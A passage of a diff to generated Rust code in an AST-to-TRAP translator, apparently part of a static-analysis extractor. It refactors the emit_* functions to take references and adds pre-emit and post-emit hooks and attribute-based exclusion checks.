self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(MethodCallExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_module(&mut self, node: ast::Module) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let item_list = node.item_list().and_then(|x| self.emit_item_list(x)); - let name = node.name().and_then(|x| self.emit_name(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); + pub(crate) fn emit_module(&mut self, node: &ast::Module) -> Option> { + pre_emit!(Module, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let item_list = node.item_list().and_then(|x| self.emit_item_list(&x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); let label = self.trap.emit(generated::Module { id: TrapId::Star, attrs, @@ -1506,204 +2152,302 @@ impl Translator<'_> { name, visibility, }); - self.emit_location(label, &node); - emit_detached!(Module, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(Module, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_name(&mut self, node: ast::Name) -> Option> { + pub(crate) fn emit_name(&mut self, node: &ast::Name) -> Option> { + pre_emit!(Name, self, node); + if self.should_be_excluded(node) { + return None; + } let text = node.try_get_text(); let label = self.trap.emit(generated::Name { id: TrapId::Star, text, }); - self.emit_location(label, &node); - emit_detached!(Name, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(Name, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_name_ref(&mut self, node: ast::NameRef) -> Option> { + pub(crate) fn emit_name_ref( + &mut self, + node: &ast::NameRef, + ) -> Option> { + pre_emit!(NameRef, self, node); + if self.should_be_excluded(node) { + return None; + } let text = node.try_get_text(); let label = self.trap.emit(generated::NameRef { id: TrapId::Star, text, }); - self.emit_location(label, &node); - emit_detached!(NameRef, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(NameRef, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_never_type(&mut self, node: ast::NeverType) -> Option> { - let label = self.trap.emit(generated::NeverTypeRepr { - id: TrapId::Star, - }); - self.emit_location(label, &node); - emit_detached!(NeverTypeRepr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); - Some(label) - } - - pub(crate) fn emit_offset_of_expr(&mut self, node: ast::OffsetOfExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let fields = node.fields().filter_map(|x| self.emit_name_ref(x)).collect(); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); + pub(crate) fn emit_never_type( + &mut self, + node: &ast::NeverType, + ) -> Option> { + pre_emit!(NeverTypeRepr, self, node); + if self.should_be_excluded(node) { + return None; + } + let label = self + .trap + .emit(generated::NeverTypeRepr { id: TrapId::Star }); + self.emit_location(label, node); + post_emit!(NeverTypeRepr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); + Some(label) + } + pub(crate) fn emit_offset_of_expr( + &mut self, + node: &ast::OffsetOfExpr, + ) -> Option> { + pre_emit!(OffsetOfExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let fields = node + .fields() + .filter_map(|x| self.emit_name_ref(&x)) + .collect(); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::OffsetOfExpr { id: TrapId::Star, attrs, fields, type_repr, }); - self.emit_location(label, &node); - emit_detached!(OffsetOfExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(OffsetOfExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_or_pat(&mut self, node: ast::OrPat) -> Option> { - let pats = node.pats().filter_map(|x| self.emit_pat(x)).collect(); + pub(crate) fn emit_or_pat(&mut self, node: &ast::OrPat) -> Option> { + pre_emit!(OrPat, self, node); + if self.should_be_excluded(node) { + return None; + } + let pats = node.pats().filter_map(|x| self.emit_pat(&x)).collect(); let label = self.trap.emit(generated::OrPat { id: TrapId::Star, pats, }); - self.emit_location(label, &node); - emit_detached!(OrPat, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(OrPat, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_param(&mut self, node: ast::Param) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let pat = node.pat().and_then(|x| self.emit_pat(x)); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); + pub(crate) fn emit_param(&mut self, node: &ast::Param) -> Option> { + pre_emit!(Param, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let pat = node.pat().and_then(|x| self.emit_pat(&x)); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::Param { id: TrapId::Star, attrs, pat, type_repr, }); - self.emit_location(label, &node); - emit_detached!(Param, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(Param, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_param_list(&mut self, node: ast::ParamList) -> Option> { - let params = node.params().filter_map(|x| self.emit_param(x)).collect(); - let self_param = node.self_param().and_then(|x| self.emit_self_param(x)); + pub(crate) fn emit_param_list( + &mut self, + node: &ast::ParamList, + ) -> Option> { + pre_emit!(ParamList, self, node); + if self.should_be_excluded(node) { + return None; + } + let params = node.params().filter_map(|x| self.emit_param(&x)).collect(); + let self_param = node.self_param().and_then(|x| self.emit_self_param(&x)); let label = self.trap.emit(generated::ParamList { id: TrapId::Star, params, self_param, }); - self.emit_location(label, &node); - emit_detached!(ParamList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(ParamList, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_paren_expr(&mut self, node: ast::ParenExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let expr = node.expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_paren_expr( + &mut self, + node: &ast::ParenExpr, + ) -> Option> { + pre_emit!(ParenExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let expr = node.expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::ParenExpr { id: TrapId::Star, attrs, expr, }); - self.emit_location(label, &node); - emit_detached!(ParenExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(ParenExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_paren_pat(&mut self, node: ast::ParenPat) -> Option> { - let pat = node.pat().and_then(|x| self.emit_pat(x)); + pub(crate) fn emit_paren_pat( + &mut self, + node: &ast::ParenPat, + ) -> Option> { + pre_emit!(ParenPat, self, node); + if self.should_be_excluded(node) { + return None; + } + let pat = node.pat().and_then(|x| self.emit_pat(&x)); let label = self.trap.emit(generated::ParenPat { id: TrapId::Star, pat, }); - self.emit_location(label, &node); - emit_detached!(ParenPat, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(ParenPat, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_paren_type(&mut self, node: ast::ParenType) -> Option> { - let type_repr = node.ty().and_then(|x| self.emit_type(x)); + pub(crate) fn emit_paren_type( + &mut self, + node: &ast::ParenType, + ) -> Option> { + pre_emit!(ParenTypeRepr, self, node); + if self.should_be_excluded(node) { + return None; + } + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::ParenTypeRepr { id: TrapId::Star, type_repr, }); - self.emit_location(label, &node); - emit_detached!(ParenTypeRepr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(ParenTypeRepr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_parenthesized_arg_list(&mut self, node: ast::ParenthesizedArgList) -> Option> { - let type_args = node.type_args().filter_map(|x| self.emit_type_arg(x)).collect(); + pub(crate) fn emit_parenthesized_arg_list( + &mut self, + node: &ast::ParenthesizedArgList, + ) -> Option> { + pre_emit!(ParenthesizedArgList, self, node); + if self.should_be_excluded(node) { + return None; + } + let type_args = node + .type_args() + .filter_map(|x| self.emit_type_arg(&x)) + .collect(); let label = self.trap.emit(generated::ParenthesizedArgList { id: TrapId::Star, type_args, }); - self.emit_location(label, &node); - emit_detached!(ParenthesizedArgList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(ParenthesizedArgList, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_path(&mut self, node: ast::Path) -> Option> { - let qualifier = node.qualifier().and_then(|x| self.emit_path(x)); - let segment = node.segment().and_then(|x| self.emit_path_segment(x)); + pub(crate) fn emit_path(&mut self, node: &ast::Path) -> Option> { + pre_emit!(Path, self, node); + if self.should_be_excluded(node) { + return None; + } + let qualifier = node.qualifier().and_then(|x| self.emit_path(&x)); + let segment = node.segment().and_then(|x| self.emit_path_segment(&x)); let label = self.trap.emit(generated::Path { id: TrapId::Star, qualifier, segment, }); - self.emit_location(label, &node); - emit_detached!(Path, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(Path, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_path_expr(&mut self, node: ast::PathExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let path = node.path().and_then(|x| self.emit_path(x)); + pub(crate) fn emit_path_expr( + &mut self, + node: &ast::PathExpr, + ) -> Option> { + pre_emit!(PathExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let path = node.path().and_then(|x| self.emit_path(&x)); let label = self.trap.emit(generated::PathExpr { id: TrapId::Star, attrs, path, }); - self.emit_location(label, &node); - emit_detached!(PathExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(PathExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_path_pat(&mut self, node: ast::PathPat) -> Option> { - let path = node.path().and_then(|x| self.emit_path(x)); + pub(crate) fn emit_path_pat( + &mut self, + node: &ast::PathPat, + ) -> Option> { + pre_emit!(PathPat, self, node); + if self.should_be_excluded(node) { + return None; + } + let path = node.path().and_then(|x| self.emit_path(&x)); let label = self.trap.emit(generated::PathPat { id: TrapId::Star, path, }); - self.emit_location(label, &node); - emit_detached!(PathPat, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(PathPat, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_path_segment(&mut self, node: ast::PathSegment) -> Option> { - let generic_arg_list = node.generic_arg_list().and_then(|x| self.emit_generic_arg_list(x)); - let identifier = node.name_ref().and_then(|x| self.emit_name_ref(x)); - let parenthesized_arg_list = node.parenthesized_arg_list().and_then(|x| self.emit_parenthesized_arg_list(x)); - let ret_type = node.ret_type().and_then(|x| self.emit_ret_type(x)); - let return_type_syntax = node.return_type_syntax().and_then(|x| self.emit_return_type_syntax(x)); + pub(crate) fn emit_path_segment( + &mut self, + node: &ast::PathSegment, + ) -> Option> { + pre_emit!(PathSegment, self, node); + if self.should_be_excluded(node) { + return None; + } + let generic_arg_list = node + .generic_arg_list() + .and_then(|x| self.emit_generic_arg_list(&x)); + let identifier = node.name_ref().and_then(|x| self.emit_name_ref(&x)); + let parenthesized_arg_list = node + .parenthesized_arg_list() + .and_then(|x| self.emit_parenthesized_arg_list(&x)); + let ret_type = node.ret_type().and_then(|x| self.emit_ret_type(&x)); + let return_type_syntax = node + .return_type_syntax() + .and_then(|x| self.emit_return_type_syntax(&x)); let label = self.trap.emit(generated::PathSegment { id: TrapId::Star, generic_arg_list, @@ -1712,28 +2456,42 @@ impl Translator<'_> { ret_type, return_type_syntax, }); - self.emit_location(label, &node); - emit_detached!(PathSegment, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(PathSegment, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_path_type(&mut self, node: ast::PathType) -> Option> { - let path = node.path().and_then(|x| self.emit_path(x)); + pub(crate) fn emit_path_type( + &mut self, + node: &ast::PathType, + ) -> Option> { + pre_emit!(PathTypeRepr, self, node); + if self.should_be_excluded(node) { + return None; + } + let path = node.path().and_then(|x| self.emit_path(&x)); let label = self.trap.emit(generated::PathTypeRepr { id: TrapId::Star, path, }); - self.emit_location(label, &node); - emit_detached!(PathTypeRepr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(PathTypeRepr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_prefix_expr(&mut self, node: ast::PrefixExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let expr = node.expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_prefix_expr( + &mut self, + node: &ast::PrefixExpr, + ) -> Option> { + pre_emit!(PrefixExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let expr = node.expr().and_then(|x| self.emit_expr(&x)); let operator_name = node.try_get_text(); let label = self.trap.emit(generated::PrefixExpr { id: TrapId::Star, @@ -1741,34 +2499,48 @@ impl Translator<'_> { expr, operator_name, }); - self.emit_location(label, &node); - emit_detached!(PrefixExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(PrefixExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_ptr_type(&mut self, node: ast::PtrType) -> Option> { + pub(crate) fn emit_ptr_type( + &mut self, + node: &ast::PtrType, + ) -> Option> { + pre_emit!(PtrTypeRepr, self, node); + if self.should_be_excluded(node) { + return None; + } let is_const = node.const_token().is_some(); let is_mut = node.mut_token().is_some(); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::PtrTypeRepr { id: TrapId::Star, is_const, is_mut, type_repr, }); - self.emit_location(label, &node); - emit_detached!(PtrTypeRepr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(PtrTypeRepr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_range_expr(&mut self, node: ast::RangeExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let end = node.end().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_range_expr( + &mut self, + node: &ast::RangeExpr, + ) -> Option> { + pre_emit!(RangeExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let end = node.end().and_then(|x| self.emit_expr(&x)); let operator_name = node.try_get_text(); - let start = node.start().and_then(|x| self.emit_expr(x)); + let start = node.start().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::RangeExpr { id: TrapId::Star, attrs, @@ -1776,84 +2548,125 @@ impl Translator<'_> { operator_name, start, }); - self.emit_location(label, &node); - emit_detached!(RangeExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(RangeExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_range_pat(&mut self, node: ast::RangePat) -> Option> { - let end = node.end().and_then(|x| self.emit_pat(x)); + pub(crate) fn emit_range_pat( + &mut self, + node: &ast::RangePat, + ) -> Option> { + pre_emit!(RangePat, self, node); + if self.should_be_excluded(node) { + return None; + } + let end = node.end().and_then(|x| self.emit_pat(&x)); let operator_name = node.try_get_text(); - let start = node.start().and_then(|x| self.emit_pat(x)); + let start = node.start().and_then(|x| self.emit_pat(&x)); let label = self.trap.emit(generated::RangePat { id: TrapId::Star, end, operator_name, start, }); - self.emit_location(label, &node); - emit_detached!(RangePat, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(RangePat, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_record_expr(&mut self, node: ast::RecordExpr) -> Option> { - let path = node.path().and_then(|x| self.emit_path(x)); - let struct_expr_field_list = node.record_expr_field_list().and_then(|x| self.emit_record_expr_field_list(x)); + pub(crate) fn emit_record_expr( + &mut self, + node: &ast::RecordExpr, + ) -> Option> { + pre_emit!(StructExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + let path = node.path().and_then(|x| self.emit_path(&x)); + let struct_expr_field_list = node + .record_expr_field_list() + .and_then(|x| self.emit_record_expr_field_list(&x)); let label = self.trap.emit(generated::StructExpr { id: TrapId::Star, path, struct_expr_field_list, }); - self.emit_location(label, &node); - emit_detached!(StructExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(StructExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_record_expr_field(&mut self, node: ast::RecordExprField) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let expr = node.expr().and_then(|x| self.emit_expr(x)); - let identifier = node.name_ref().and_then(|x| self.emit_name_ref(x)); + pub(crate) fn emit_record_expr_field( + &mut self, + node: &ast::RecordExprField, + ) -> Option> { + pre_emit!(StructExprField, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let expr = node.expr().and_then(|x| self.emit_expr(&x)); + let identifier = node.name_ref().and_then(|x| self.emit_name_ref(&x)); let label = self.trap.emit(generated::StructExprField { id: TrapId::Star, attrs, expr, identifier, }); - self.emit_location(label, &node); - emit_detached!(StructExprField, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(StructExprField, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_record_expr_field_list(&mut self, node: ast::RecordExprFieldList) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let fields = node.fields().filter_map(|x| self.emit_record_expr_field(x)).collect(); - let spread = node.spread().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_record_expr_field_list( + &mut self, + node: &ast::RecordExprFieldList, + ) -> Option> { + pre_emit!(StructExprFieldList, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let fields = node + .fields() + .filter_map(|x| self.emit_record_expr_field(&x)) + .collect(); + let spread = node.spread().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::StructExprFieldList { id: TrapId::Star, attrs, fields, spread, }); - self.emit_location(label, &node); - emit_detached!(StructExprFieldList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(StructExprFieldList, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_record_field(&mut self, node: ast::RecordField) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let default = node.expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_record_field( + &mut self, + node: &ast::RecordField, + ) -> Option> { + pre_emit!(StructField, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let default = node.expr().and_then(|x| self.emit_expr(&x)); let is_unsafe = node.unsafe_token().is_some(); - let name = node.name().and_then(|x| self.emit_name(x)); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); let label = self.trap.emit(generated::StructField { id: TrapId::Star, attrs, @@ -1863,73 +2676,115 @@ impl Translator<'_> { type_repr, visibility, }); - self.emit_location(label, &node); - emit_detached!(StructField, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(StructField, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_record_field_list(&mut self, node: ast::RecordFieldList) -> Option> { - let fields = node.fields().filter_map(|x| self.emit_record_field(x)).collect(); + pub(crate) fn emit_record_field_list( + &mut self, + node: &ast::RecordFieldList, + ) -> Option> { + pre_emit!(StructFieldList, self, node); + if self.should_be_excluded(node) { + return None; + } + let fields = node + .fields() + .filter_map(|x| self.emit_record_field(&x)) + .collect(); let label = self.trap.emit(generated::StructFieldList { id: TrapId::Star, fields, }); - self.emit_location(label, &node); - emit_detached!(StructFieldList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(StructFieldList, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_record_pat(&mut self, node: ast::RecordPat) -> Option> { - let path = node.path().and_then(|x| self.emit_path(x)); - let struct_pat_field_list = node.record_pat_field_list().and_then(|x| self.emit_record_pat_field_list(x)); + pub(crate) fn emit_record_pat( + &mut self, + node: &ast::RecordPat, + ) -> Option> { + pre_emit!(StructPat, self, node); + if self.should_be_excluded(node) { + return None; + } + let path = node.path().and_then(|x| self.emit_path(&x)); + let struct_pat_field_list = node + .record_pat_field_list() + .and_then(|x| self.emit_record_pat_field_list(&x)); let label = self.trap.emit(generated::StructPat { id: TrapId::Star, path, struct_pat_field_list, }); - self.emit_location(label, &node); - emit_detached!(StructPat, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(StructPat, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_record_pat_field(&mut self, node: ast::RecordPatField) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let identifier = node.name_ref().and_then(|x| self.emit_name_ref(x)); - let pat = node.pat().and_then(|x| self.emit_pat(x)); + pub(crate) fn emit_record_pat_field( + &mut self, + node: &ast::RecordPatField, + ) -> Option> { + pre_emit!(StructPatField, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let identifier = node.name_ref().and_then(|x| self.emit_name_ref(&x)); + let pat = node.pat().and_then(|x| self.emit_pat(&x)); let label = self.trap.emit(generated::StructPatField { id: TrapId::Star, attrs, identifier, pat, }); - self.emit_location(label, &node); - emit_detached!(StructPatField, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(StructPatField, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_record_pat_field_list(&mut self, node: ast::RecordPatFieldList) -> Option> { - let fields = node.fields().filter_map(|x| self.emit_record_pat_field(x)).collect(); - let rest_pat = node.rest_pat().and_then(|x| self.emit_rest_pat(x)); + pub(crate) fn emit_record_pat_field_list( + &mut self, + node: &ast::RecordPatFieldList, + ) -> Option> { + pre_emit!(StructPatFieldList, self, node); + if self.should_be_excluded(node) { + return None; + } + let fields = node + .fields() + .filter_map(|x| self.emit_record_pat_field(&x)) + .collect(); + let rest_pat = node.rest_pat().and_then(|x| self.emit_rest_pat(&x)); let label = self.trap.emit(generated::StructPatFieldList { id: TrapId::Star, fields, rest_pat, }); - self.emit_location(label, &node); - emit_detached!(StructPatFieldList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(StructPatFieldList, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_ref_expr(&mut self, node: ast::RefExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let expr = node.expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_ref_expr( + &mut self, + node: &ast::RefExpr, + ) -> Option> { + pre_emit!(RefExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let expr = node.expr().and_then(|x| self.emit_expr(&x)); let is_const = node.const_token().is_some(); let is_mut = node.mut_token().is_some(); let is_raw = node.raw_token().is_some(); @@ -1941,112 +2796,160 @@ impl Translator<'_> { is_mut, is_raw, }); - self.emit_location(label, &node); - emit_detached!(RefExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(RefExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_ref_pat(&mut self, node: ast::RefPat) -> Option> { + pub(crate) fn emit_ref_pat(&mut self, node: &ast::RefPat) -> Option> { + pre_emit!(RefPat, self, node); + if self.should_be_excluded(node) { + return None; + } let is_mut = node.mut_token().is_some(); - let pat = node.pat().and_then(|x| self.emit_pat(x)); + let pat = node.pat().and_then(|x| self.emit_pat(&x)); let label = self.trap.emit(generated::RefPat { id: TrapId::Star, is_mut, pat, }); - self.emit_location(label, &node); - emit_detached!(RefPat, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(RefPat, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_ref_type(&mut self, node: ast::RefType) -> Option> { + pub(crate) fn emit_ref_type( + &mut self, + node: &ast::RefType, + ) -> Option> { + pre_emit!(RefTypeRepr, self, node); + if self.should_be_excluded(node) { + return None; + } let is_mut = node.mut_token().is_some(); - let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(x)); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); + let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(&x)); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::RefTypeRepr { id: TrapId::Star, is_mut, lifetime, type_repr, }); - self.emit_location(label, &node); - emit_detached!(RefTypeRepr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(RefTypeRepr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_rename(&mut self, node: ast::Rename) -> Option> { - let name = node.name().and_then(|x| self.emit_name(x)); + pub(crate) fn emit_rename(&mut self, node: &ast::Rename) -> Option> { + pre_emit!(Rename, self, node); + if self.should_be_excluded(node) { + return None; + } + let name = node.name().and_then(|x| self.emit_name(&x)); let label = self.trap.emit(generated::Rename { id: 